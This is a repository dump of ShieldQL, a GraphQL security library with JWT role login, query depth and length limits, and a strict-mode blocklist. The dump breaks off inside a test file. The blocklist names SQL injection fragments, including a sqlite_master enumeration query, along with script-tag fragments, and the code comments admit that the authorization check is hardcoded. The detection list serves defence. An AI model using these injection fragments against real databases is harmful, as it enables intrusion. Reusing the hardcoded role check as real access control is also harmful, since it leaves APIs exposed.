├── .gitignore ├── CODE_OF_CONDUCT.md ├── README.md ├── TypeScript ├── loginLink.ts ├── main.ts ├── sanitize.ts ├── sanitizeQuery.ts └── shieldqlConfig.ts ├── __testing__ ├── .env ├── sanitize.test.js ├── shieldql.json ├── shieldqlConfig.test.js └── validateUser.test.js ├── assets ├── sample_directory.png ├── sample_directory2.png └── shieldQL.png ├── loginLink.js ├── main.js ├── package-lock.json ├── package.json ├── sanitize.js ├── sanitizeQuery.js ├── shieldqlConfig.js ├── tsconfig.json └── validateUser.js /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | dist 12 | dist-ssr 13 | *.local 14 | 15 | # Editor directories and files 16 | .vscode/* 17 | !.vscode/extensions.json 18 | .idea 19 | .DS_Store 20 | *.suo 21 | *.ntvs* 22 | *.njsproj 23 | *.sln 24 | *.sw? 25 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, caste, color, religion, or sexual 10 | identity and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | - Demonstrating empathy and kindness toward other people 21 | - Being respectful of differing opinions, viewpoints, and experiences 22 | - Giving and gracefully accepting constructive feedback 23 | - Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | - Focusing on what is best not just for us as individuals, but for the overall 26 | community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | - The use of sexualized language or imagery, and sexual attention or advances of 31 | any kind 32 | - Trolling, insulting or derogatory comments, and personal or political attacks 33 | - Public or private harassment 34 | - Publishing others' private information, such as a physical or email address, 35 | without their explicit permission 36 | - Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | samourcalderon@gmail.com. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series of 86 | actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or permanent 93 | ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within the 113 | community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.1, available at 119 | [https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. 120 | 121 | Community Impact Guidelines were inspired by 122 | [Mozilla's code of conduct enforcement ladder][Mozilla CoC]. 123 | 124 | For answers to common questions about this code of conduct, see the FAQ at 125 | [https://www.contributor-covenant.org/faq][FAQ]. Translations are available at 126 | [https://www.contributor-covenant.org/translations][translations]. 127 | 128 | [homepage]: https://www.contributor-covenant.org 129 | [v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html 130 | [Mozilla CoC]: https://github.com/mozilla/diversity 131 | [FAQ]: https://www.contributor-covenant.org/faq 132 | [translations]: https://www.contributor-covenant.org/translations 133 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |
ShieldQL 🛡️
4 |

5 | 6 | [ShieldQL](https://www.shieldql.com) is a lightweight, powerful, easy-to-use JavaScript library for GraphQL that adds authentication, authorization, and query sanitization to prevent malicious queries and injection attacks. 7 | 8 | - **Authentication:** ShieldQL helps you implement user authentication in your GraphQL APIs, ensuring that only authenticated users can access certain parts of your API. 9 | - **Authorization:** With ShieldQL, you can define granular access controls for different types and fields in your GraphQL schema. This way, you can control what data each user can access based on their role and permissions. 10 | - **Query Sanitization:** ShieldQL gives you the tools to sanitize incoming GraphQL queries to prevent potential malicious operations and protect your backend from excessively deep and excessively long queries used in denial-of-service attacks. 11 | 12 | ## Features 13 | 14 | - **shieldqlConfig:** A Javascript function that allows you to configure how sanitizeQuery will restrict queries and creates a secret for each role in the shieldql.json file, storing all of this information in the .env file and the process.env object 15 | 16 | - Where to use: Recommended use is next to importation of ShieldQL functionality in main server file (similar to dotenv.config()) 17 | - shieldqlConfig accepts 3 params: strictShieldQL (a boolean), maxDepthShieldQL (a number), and maxLengthShieldQL (a number), which are used to configure sanitizeQuery (see sanitizeQuery for more details) 18 | - strictShieldQL: (default false) boolean value that determines whether or not sanitizeQuery will be run on strict mode or not (strictmode allows queries to be checked against the blocklist) 19 | - maxDepthShieldQL: (default 10) number that establishes the upper bound for the maximum depth of a graphQL query 20 | - maxLengthShieldQL: (default 2000) number that establishes the upper bound for total characters in a graphQL query 21 | 22 | - **loginLink:** Express middleware function that authenticates the client, creates a jwt access token, and stores it as a cookie on the client's browser to authorize future graphQL queries and mutations aligned with the user's role-based permissions described in the shieldql.json file 23 | 24 | - Where to use: loginLink should be invoked in a separate login-related route, so that the request body includes the access token in subsequent requests to the /graphql endpoint 25 | 26 | - Assumes that res.locals.role has already been populated with the user's role (that matches roles defined in the shieldql.json file) by a previous middleware function 27 | 28 | - NOTE: Access token expires after one day 29 | 30 | - **validateUser:** Express middleware function that verifies that the client making a graphQL query or mutation is authorized to do so through jwt verification 31 | - Where to use: validateUser should be invoked as part of the middleware chain for the /graphql route 32 | 33 | - **sanitizeQuery:** Express middleware function users will require and invoke in their applications to sanitize graphQL queries 34 | - Where to use: sanitizeQuery should be invoked as the **first** piece of middleware in the middleware chain for the /graphql route 35 | 36 | - sanitizeQuery works even if shieldqlConfig is never invoked, although if used without shieldqlConfig, default parameters will be used (strictmode set to false, maxDepth set to 10, maxLength set to 2000) 37 | 38 | - **sanitize:** Pure function users can require and invoke in their applications to sanitize the passed-in query. 39 | - Accepts 4 params: 40 | - input (required, a graphQL query type string) 41 | - strict (a bool value, default false, that enables additional query sanitization) 42 | - maxDepth (the maximum query nesting depth permitted, type integer) 43 | - maxLength (maximum permitted query length, type integer) that 44 | - Can be used as a standalone function and is also invoked within the body of the sanitizeQuery function 45 | 46 | ## Setup 47 | 48 | - Make sure dotenv has been imported, that it is properly configured, and that a .env file already exists 49 | - Ensure that the .env file is in the root directory 50 | 51 | ![Screenshot of sample demo app directory.](assets/sample_directory2.png) 52 | 53 | - Create a shieldql.json file in root directory. This file will define the roles and permissions that will be enforced throughout the user's graphQL application. 54 | - E.g.: 55 | 56 | ```javascript 57 | { 58 | "admin": { 59 | "query": ["."], 60 | "mutation": ["."] 61 | }, 62 | "user": { 63 | "query": ["feed", "news"] 64 | }, 65 | "job-applicant": { 66 | "query": ["job-description"] 67 | } 68 | } 69 | ``` 70 | 71 | - Ensure that the appropriate graphQL role from the shieldqlConfig.js file is passed into the graphQL route through **res.locals.role** in order for loginLink to enforce authentication and authorization 72 | 73 | - A common approach to this problem is the following (see below for an example) 74 | 75 | - Insert a middleware function preceding loginLink that queries the user database 76 | - Extracts the graphQL role 77 | - Stores it in **res.locals.role** 78 | 79 | ```javascript 80 | const express = require('express'); 81 | const graphqlHttp = require('express-graphql'); 82 | const shieldql = require('shieldql'); 83 | const dotenv = require('dotenv'); 84 | dotenv.config(); 85 | 86 | // shieldqlConfig configures settings for sanitizeQuery 87 | // if the first arg is true, sanitizeQuery will check queries against the blocklist 88 | // second arg indicates maxDepth allowed 89 | // third arg indicates maxLength allowed 90 | shieldql.shieldqlConfig(true, 15, 5000); 91 | 92 | const app = express(); 93 | 94 | app.post('/login', 95 | populateResLocalsRole, //this middleware function will pass role via res.locals.role 96 | shieldql.loginLink, // loginLink will use the role to create an access token 97 | (req, res) => { 98 | return res.status(200).json(res.locals); 99 | } 100 | ); 101 | 102 | app.post( 103 | '/graphql', 104 | shieldql.sanitizeQuery, // developers can invoke sanitizeQuery to sanitize queries based on the rules passed into shieldqlConfig 105 | shieldql.validateUser, // validateUser checks if user is authorized to make the query based on their role and the permissions set in shieldql.json 106 | graphqlHttp({ 107 | schema: graphQlSchema, 108 | rootValue: graphQlResolvers, 109 | graphiql: true, 110 | }) 111 | ); 112 | ``` 113 | 114 | - NOTE: ShieldQL will NOT be able to authenticate and authorize graphQL queries unless roles are passed into loginLink through **res.locals.role** :shipit: 115 | 116 | ## Installation 117 | 118 | ```javascript 119 | npm i shieldql 120 | ``` 121 | 122 | ## Security Considerations 123 | 124 | While ShieldQL offers essential security features, it's crucial to keep your application and dependencies up to date to stay protected against emerging security threats. Always follow best practices for securing your GraphQL APIs. 125 | 126 | ## Future direction 127 | 128 | - allowListing configuration and implementation for sanitize.js 129 | - Amount limiting (limiting number of times a query can be called) 130 | - make app compatible with multiple root level queries/mutations in a single request 131 | - implement refresh tokens 132 | - Jest/End-to-end Testing 133 | - Add error handling for GraphQL queries 134 | - Developing a graphical interface for configuring permissions and user roles 135 | - Integrate a database to restrict malicious query runs. 136 | - Typescript 137 | 138 | ## Contribution guidelines 139 | 140 | We welcome contributions to ShieldQL! 141 | 142 | Following Meta's lead with React, we have adopted the [Contributor Covenant](https://www.contributor-covenant.org/) as our [code of conduct](CODE_OF_CONDUCT.md) for future contributors. Please read it to ensure that you understand and accept the terms and conditions described therein. 143 | 144 | ### Branch management 145 | 146 | - Please submit any pull requests to the dev branch. All changes will be reviewed before merging by [OSLabs](https://www.opensourcelabs.io/) and prior contributors. 147 | 148 | ### Bugs and suggestions 149 | 150 | - For help with existing issues, please read our [GitHub issues page](https://github.com/oslabs-beta/ShieldQL/issues) 151 | - If you cannot find support in the issues page, please file a report on the same issues page. 152 | - Suggestions and other feedback are more than welcome! 153 | 154 | ## Contributors 155 | 156 | - **Rodrigo S. Calderon** | [LinkedIn](https://www.linkedin.com/in/rodrigosamourcalderon/) | [GitHub](https://github.com/rscalderon) 157 | - **Simran Kaur** | [LinkedIn](https://www.linkedin.com/in/simran-kaur-nyc/) | [GitHub](https://github.com/simk209) 158 | - **Xin Jin Qiu** | [LinkedIn](https://www.linkedin.com/in/xinjinqiu/) | [GitHub](https://github.com/xjqiu28) 159 | - **Siful Siddiki** | [LinkedIn](https://www.linkedin.com/in/siful-siddiki/) | [GitHub](https://github.com/sifulsidd) 160 | - **Joie Zhang** | [LinkedIn](https://www.linkedin.com/in/joie-zhang/) | [GitHub](https://github.com/joie-zhang) 161 | 162 | Inspired by [graphQLock](https://github.com/oslabs-beta/graphQLock). 163 | 164 | ## License 165 | 166 | _ShieldQL is ISC licensed._ 167 | 168 | Thank you for using ShieldQL! We hope this library helps you secure your GraphQL APIs effectively. If you encounter any issues or need further assistance, please don't hesitate to reach out to us. 169 | 170 | Happy coding! 171 | -------------------------------------------------------------------------------- /TypeScript/loginLink.ts: -------------------------------------------------------------------------------- 1 | import { Request, Response, NextFunction } from 'express'; 2 | //Purpose: generate access tokens 3 | 4 | /*Questions: 5 | - Does it matter if the CRUD app uses tokens 6 | - i want to take time to think about what the tokens/authorization process is doing for us 7 | - should the token payload be the username? or the role? 8 | - how will this be verified? jwt.verify seems to check if an access token is real, but can that tell what type of access token they have? Do we need to knwo what type of access token they have, or will the verification process use something else (e.g.: res.locals) to determine what role the user has 9 | - if we use role, will every USER have the same token? And would that be an issue? 10 | - how long do we want the access tokens to last (i.e.: what should the expiry be) 11 | - should we also use refresh tokens? 12 | */ 13 | const loginLink = (req: Request, res: Response, next: NextFunction) => { 14 | //require jwt token 15 | const jwt = require('jsonwebtoken'); 16 | 17 | //res.locals.role will contain the role 18 | //the below code would generate access tokens, with the payload being role 19 | // but would it create a different token every time it is run? 20 | //otherwise multiple Users may have the same token. that may or may not be an issue tho 21 | const secretToken = `ACCESS_TOKEN_${res.locals.role.toUpperCase()}_SECRET`; 22 | const accessToken = jwt.sign(res.locals.role, process.env[secretToken]); 23 | /* 24 | , (err, success) => { 25 | if (err) { 26 | return next({ 27 | log: `Express error ${err} ROLE NOT FOUND`, 28 | status: 404, 29 | message: { err: 'INVALID USER' } 30 | }) 31 | } 32 | }) 33 | */ 34 | 35 | res.cookie('accessToken', accessToken, { 36 | httpOnly: true, 37 | secure: true, 38 | }); 39 | return next(); 40 | }; 41 | 42 | // export loginLink 43 | module.exports = { loginLink }; 44 | -------------------------------------------------------------------------------- /TypeScript/main.ts: -------------------------------------------------------------------------------- 1 | const jwt = require('jsonwebtoken'); 2 | const { loginLink } = require('./loginLink.ts'); 3 | const { sanitizeQuery } = require('./sanitizeQuery.ts'); 4 | const { shieldqlConfig } = require('./shieldqlConfig.ts'); 5 | import { Request, Response, NextFunction } from 'express'; 6 | 7 | //structure of jwt: 8 | //header includes hashing algo 9 | //payload 10 | //signature = hash payload + secret 11 | 12 | // jwt.verify(token,secret) // 13 | 14 | // setupCounter(document.querySelector('#counter')) 15 | 16 | const validateUser = (req: Request, res: Response, next: NextFunction) => { 17 | //check cookies in request 18 | //pull out access token from cookies 19 | const accessToken = req.cookies.accessToken; 20 | 21 | //decode the cookie to determine what the payload role is 22 | // const obj = jwt.decode(accessToken); 23 | 24 | //NOTE: double check that obj.role accesses the role. consider logging the obj 25 | 26 | const secret = 27 | process.env[`ACCESS_TOKEN_${res.locals.role.toUpperCase()}_SECRET`]; 28 | 29 | //verify token using decoded role. if verification fails, send error 30 | // result payload comes back as an object with roles and username as keys 31 | jwt.verify(accessToken, secret, (err: string, decoded: string) => { 32 | if (err) { 33 | return next({ 34 | log: `Express error ${err} during validate user `, 35 | status: 400, 36 | message: { err: 'INVALID USER' }, 37 | }); 38 | } else { 39 | let query = req.body.query; 40 | query = query.replace(/\n/g, ' ').trim(); 41 | let word = ''; 42 | for (let i = 0; i < query.length; i++) { 43 | if (query[i] === ' ') { 44 | break; 45 | } else { 46 | word += query[i]; 47 | } 48 | } 49 | //if the query was a mutation, throw an error 50 | if (decoded !== 'Admin' && word === 'mutation') { 51 | return next({ 52 | log: `Express error ${err} USER DOES NOT HAVE VALID PERMISSIONS`, 53 | status: 401, 54 | message: { err: 'INVALID USER' }, 55 | }); 56 | } else return next(); 57 | } 58 | }); 59 | }; 60 | 61 | //Note- the following is hardcoded for our Admin with read/write access. 62 | //we're also only checking for read/write access rather than anything specific 63 | //not checking the actual customizable shieldql.json file 64 | //also - we are not triggering global error handler 65 | 66 | module.exports = { 67 | validateUser, 68 | loginLink, 69 | sanitizeQuery, 70 | shieldqlConfig, 71 | }; 72 | -------------------------------------------------------------------------------- /TypeScript/sanitize.ts: -------------------------------------------------------------------------------- 1 | // init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query 2 | const sanitize = ( 3 | input: string, 4 | strict = false, 5 | maxDepth = 10, 6 | maxLength = 2000 7 | ) => { 8 | // validate input type is string 9 | if (typeof input !== 'string') throw new Error('input must be a string'); 10 | // check if input is more deeply nested than maxDepth 11 | deepLimit(input, maxDepth); 12 | // check if input is longer than maxLength 13 | lengthLimit(input, maxLength); 14 | // if function is being run on strict mode 15 | if (strict) { 16 | // allowlisting is an option we are not currently pursuing, but could help further secure our queries 17 | // init const blockList as arr of potentially malicious fragments (strings) 18 | const blockList = [ 19 | // common SQL injection fragments 20 | '1=1', 21 | `' OR`, 22 | 'select sqlite_version()', 23 | 'SELECT sql FROM sqlite_schema', 24 | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'`, 25 | // common HTML injection fragments 26 | '', 28 | 'script', 29 | // dangerous characters 30 | '<', 31 | '>', 32 | '-', 33 | '/', 34 | "'", 35 | `{"`, 36 | `"{`, 37 | `}"`, 38 | `*`, 39 | `"}`, 40 | `\\`, 41 | `{\\`, 42 | // log spoofing 43 | `%`, 44 | // PHP code insertion 45 | 'php', 46 | ]; 47 | // iterate through each string in blockList 48 | for (const str of blockList) { 49 | // if input (query) contains a potentially malicious fragment, throw new error 50 | if (input.includes(str)) 51 | throw new Error(`potentially malicious string detected:, ${str}`); 52 | } 53 | } 54 | return input; 55 | // amount limiting (limiting number of times a query can be called) 56 | }; 57 | // }; 58 | // init helper func deepLimit that accepts two params, input (a JSON string graphQL query) and depth (a number value) and throws an error if the passed-in input has a depth greater than depth, else returns input 59 | const deepLimit = (input: string, depth: number) => { 60 | // init const stack as an empty array 61 | const stack = []; 62 | // iterate through the input array 63 | for (let i = 0; i < input.length; i++) { 64 | if (stack.length > depth) 65 | throw new Error( 66 | 'Maximum query depth exceeded, modify query or maximum permitted query depth' 67 | ); 68 | const el = input[i]; 69 | // if the element is '{' push it to the stack 70 | if (el === '{') stack.push(el); 71 | } 72 | return input; 73 | }; 74 | 75 | // init helper func deepLimit that accepts two params, input (a JSON string graphQL query) and length (a number value) and throws an error if the passed-in input has a length greater than length, else returns input 76 | const lengthLimit = (input: string, length: number) => { 77 | // if input length exceeds passed-in param length, throw new Error 78 | if (input.length > length) 79 | throw new Error( 80 | 'Maximum query length exceeded, modify query or maximum permitted query length' 81 | ); 82 | // if input depth is within the permitted limits, return input 83 | return input; 84 | }; 85 | 86 | module.exports = { sanitize }; 87 | -------------------------------------------------------------------------------- /TypeScript/sanitizeQuery.ts: -------------------------------------------------------------------------------- 1 | // import file system, and path functionality 2 | // const { readFile } = require('fs'); 3 | // const path = require('path'); 4 | const { sanitize } = require('./sanitize.ts'); 5 | import { Request, Response, NextFunction } from 'express'; 6 | 7 | // import parse functionality from envfile library 8 | // const { parse } = require('envfile'); 9 | // import env file as envSource 10 | // const envSource = path.resolve(__dirname, '.env'); 11 | 12 | // init sanitizeQuery, an Express middleware function users will require and invoke in their applications to sanitize graphQL queries 13 | // const sanitizeQueryPrev = async (res, req, next) => { 14 | // try { 15 | // // read env file (could potentially also implement with just reading from process.env object) 16 | // readFile(envSource, 'utf8', async (err, data) => { 17 | // // init const result as parsed (into JS object) env file contents 18 | // const result = parse(data); 19 | // // if error reading env file, invoke global error handler 20 | // if (err) 21 | // return next({ 22 | // log: `Error at shieldQL sanitizeQuery while reading env file: ${err}`, 23 | // status: 400, 24 | // message: 'Internal server error', 25 | // }); 26 | // // init paramsArr, an array that will store all args to be passed into the sanitize helper function, with single element input query 27 | // const paramsArr = [req.body.query]; 28 | // // check if result (the .env file) contains any params for strict, maxLength, and maxDepth 29 | // paramsArr.push(result.strictShieldQL ? result.strictShieldQL : false); 30 | // paramsArr.push(result.maxDepthShieldQL ? result.maxDepthShieldQL : 10); 31 | // paramsArr.push( 32 | // result.maxLengthShieldQL ? result.maxLengthShieldQL : 2000 33 | // ); 34 | // // reassign query property of req.body to the sanitized query with passed-in config from env file 35 | // req.body.query = sanitize(...paramsArr); 36 | // // move to next link in middleware chain 37 | // return next(); 38 | // }); 39 | // } catch (err) { 40 | // // if error sanitizing query, invoke global error handler 41 | // return next({ 42 | // log: `Error at shieldQL sanitizeQuery while sanitizing query: ${err}`, 43 | // status: 406, 44 | // message: 'There is something wrong with this query', 45 | // }); 46 | // } 47 | // }; 48 | 49 | // Version of sanitizeQuery that does not read .env file and instead directly pulls data from process.env object 50 | // this version of sanitizeQuery should be more performant in terms of time and space complexity (no need to find, read, and parse file) 51 | // init sanitizeQuery, an Express middleware function users will require and invoke in their applications to sanitize graphQL queries 52 | const sanitizeQuery = async ( 53 | req: Request, 54 | res: Response, 55 | next: NextFunction 56 | ) => { 57 | try { 58 | // init paramsArr, an array that will store all args to be passed into the sanitize helper function, with single element input query 59 | const paramsArr = [req.body.query]; 60 | // check if result (the .env file) contains any params for strict, maxLength, and maxDepth 61 | paramsArr.push( 62 | process.env.strictShieldQL ? process.env.strictShieldQL : false 63 | ); 64 | paramsArr.push( 65 | process.env.maxDepthShieldQL ? process.env.maxDepthShieldQL : 10 66 | ); 67 | paramsArr.push( 68 | process.env.maxLengthShieldQL ? process.env.maxLengthShieldQL : 2000 69 | ); 70 | // reassign query property of req.body to the sanitized query with passed-in config from env file 71 | req.body.query = sanitize(...paramsArr); 72 | // move to next link in middleware chain 73 | return next(); 74 | // if error sanitizing query, invoke global error handler 75 | } catch (err) { 76 | return next({ 77 | log: `Error at shieldQL sanitizeQuery while sanitizing query: ${err}`, 78 | status: 406, 79 | message: 'There is something wrong with this query', 80 | }); 81 | } 82 | }; 83 | 84 | // export sanitizeQuery 85 | module.exports = { sanitizeQuery }; 86 | -------------------------------------------------------------------------------- /TypeScript/shieldqlConfig.ts: -------------------------------------------------------------------------------- 1 | // import file system, path, and encryption functionality 2 | const fs = require('fs'); 3 | const path = require('path'); 4 | const encrypt = require('crypto'); 5 | // import parse and stringify functionality from envfile library 6 | const { parse, stringify } = require('envfile'); 7 | // import path to env file as envSource 8 | const envSource = path.resolve(__dirname, '../../.env'); 9 | // import object containing user-configured GraphQL roles and corresponding permissions from the shieldql.json file as permissions 10 | const permissions = require(path.resolve(__dirname, '../../shieldql.json')); 11 | 12 | // init func shieldqlConfig that accepts 3 params: strictShieldQL (bool), maxDepthShieldQL (number), maxLengthShieldQL (number) and creates new secrets and sanitizeQuery params properties in both the env file and the process.env object 13 | const shieldqlConfig = ( 14 | strictShieldQL: boolean = false, 15 | maxDepthShieldQL: number = 10, 16 | maxLengthShieldQL: number = 2000 17 | ) => { 18 | // init const roles as array of uppercase strings (keys of permissions obj) describing permissions for each role in the shieldql file 19 | const roles = Object.keys(permissions).map( 20 | (role) => `ACCESS_TOKEN_${role.toUpperCase()}_SECRET` 21 | ); 22 | // read env file 23 | fs.readFile(envSource, 'utf8', (err: string, data: string) => { 24 | // if error reading file log error 25 | if (err) return console.log('Error at shieldqlConfig:', err); 26 | // init const newEnv to store parsed (into JS object) env file contents 27 | const newEnv = parse(data); 28 | // for each role in the shieldql.json file, generate and store a secret as the value corresponding to each role from shieldql.json 29 | roles.forEach((role) => { 30 | // generate new secret 31 | const secret = encrypt.randomBytes(64).toString('hex'); 32 | // store role and secret as key value pairs in the process.env obj (which was assigned to env variables at start and needs to be updated going forward) and the new env file (the newEnv obj) 33 | process.env[role] = newEnv[role] = secret; 34 | }); 35 | // add each passed-in arg as a value in both the new .env file and the process.env object 36 | process.env.strictShieldQL = newEnv.strictShieldQL = 37 | JSON.stringify(strictShieldQL); 38 | process.env.maxDepthShieldQL = newEnv.maxDepthShieldQL = 39 | JSON.stringify(maxDepthShieldQL); 40 | process.env.maxLengthShieldQL = newEnv.maxLengthShieldQL = 41 | JSON.stringify(maxLengthShieldQL); 42 | // if refresh token secret doesn't already exist in the env file, create new refresh token secret 43 | if (!newEnv['REFRESH_TOKEN_SECRET']) { 44 | const secret = encrypt.randomBytes(64).toString('hex'); 45 | // add secret and string 'REFRESH_TOKEN_SECRET' as key-value pairs 46 | process.env['REFRESH_TOKEN_SECRET'] = newEnv['REFRESH_TOKEN_SECRET'] = 47 | secret; 48 | } 49 | // update env file with new secrets 50 | fs.writeFile(envSource, stringify(newEnv), (err: string) => { 51 | // if unsuccessful log error, else log confirmation message 52 | err 53 | ? console.log('Error updating env file at shieldqlConfig:', err) 54 | : console.log('ShieldQL successfully configured'); 55 | }); 56 | }); 57 | }; 58 | 59 | // export shieldqlConfig 60 | module.exports = { shieldqlConfig }; 61 | -------------------------------------------------------------------------------- /__testing__/.env: -------------------------------------------------------------------------------- 1 | # This is our test .env file 2 | ACCESS_TOKEN_ROCK_SECRET=fa339c25ab4dcc8be6f21d9735dd561ecef6df711629cbc07cf232339faa9110ee894810d5646fc143c58666e3865bae358819789726d5bea303115aaaeb3f98 3 | ACCESS_TOKEN_PAPER_SECRET=5459130747b6798ae297b34504481e0ebfc4afba6cc0c2d3acb45e110dc6ae9ba81173c92343e014050cbfe71a782b42be8e9e189eba8b749b3a1a4f146bceea 4 | ACCESS_TOKEN_SCISSORS_SECRET=b2d25926935d9a78ecf65872b569eebfaa50bab5fcaff821cbf12b785d293848a3bcfb8b35f63459610b4ec9342f9dd53ed04900da019bb110c24eb135a61d39 5 | strictShieldQL=false 6 | maxDepthShieldQL=10 7 | maxLengthShieldQL=2000 8 | REFRESH_TOKEN_SECRET=254fc162662ab6d329b544b7c2e6a49ae0b9266220caccdee2ced3ea7f035284dc576096ffaef62577c05018b8ca766d6442d62c5aebbf7cc83fb478d6b8963e 9 | -------------------------------------------------------------------------------- /__testing__/sanitize.test.js: -------------------------------------------------------------------------------- 1 | // import sanitize function from sanitize.js 2 | const { sanitize } = require('../sanitize.js'); 3 | 4 | describe('sanitize unit tests', () => { 5 | it('Should throw an error if a query is nested more than 10 levels deep and no argument is passed-in for the maxDepth parameter', () => { 6 | // init mock deepQuery string 7 | const deepQuery = `query maliciousQuery { 8 | thread(id: "some-id") { 9 | messages(first: 99999) { 10 | thread { 11 | messages(first: 99999) { 12 | thread { 13 | messages(first: 99999) 14 | thread { 15 | messages(first: 99999) 16 | thread { 17 | messages(first: 99999) 18 | thread { 19 | messages(first: 99999) 20 | thread { 21 | messages(first: 99999) 22 | thread { 23 | messages(first: 99999) 24 | thread { 25 | } 26 | } 27 | } 28 | } 29 | } 30 | } 31 | } 32 | } 33 | } 34 | } 35 | } 36 | } 37 | } 38 | } 39 | } 40 | } 41 | }`; 42 | // init mock shallowQuery string 43 | const shallowQuery = `query friendlyQuery { 44 | thread(id: "some-id") { 45 | messages(first: 10) { 46 | thread { 47 | } 48 | } 49 | } 50 | }`; 51 | // expect sanitize to throw error with deepQuery since depth > 10 52 | expect(() => sanitize(deepQuery)).toThrowError(); 53 | // expect sanitize to not throw error with shallowQuery since depth < 10 54 | expect(() => sanitize(shallowQuery)).not.toThrowError(); 55 | }); 56 | it('Should allow user to customize depth limit', () => { 57 | // deepQuery is a mock deep query string 58 | const deepQuery = `query maliciousQuery { 59 | thread(id: "some-id") { 60 | messages(first: 99999) { 61 | thread { 62 | messages(first: 99999) { 63 | thread { 64 | messages(first: 99999) 65 | thread { 66 | messages(first: 99999) 67 | thread { 68 | messages(first: 99999) 69 | thread { 70 | messages(first: 99999) 71 | thread { 72 | messages(first: 99999) 73 | thread { 74 | messages(first: 99999) 75 | thread { 76 | } 77 | } 78 | } 79 | } 80 | } 81 | } 82 | } 83 | } 84 | } 85 | } 86 | } 87 | } 88 | } 89 | } 90 | } 91 | } 92 | }`; 93 | // shallowQuery is a mock shallow query string 94 | const shallowQuery = `query friendlyQuery { 95 | thread(id: "some-id") { 96 | messages(first: 10) { 97 | thread { 98 | } 99 | } 100 | } 101 | }`; 102 | // user be able to customize desired maximum permitted query depth 103 | expect(() => sanitize(deepQuery, false, 20)).not.toThrowError(); 104 | expect(() => sanitize(shallowQuery, false, 1)).toThrowError(); 105 | }); 106 | it('Should throw an error if a query is above the length limit', () => { 107 | // longQuery is a very long mock query string (>2000 characters) 108 | const longQuery = 109 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict 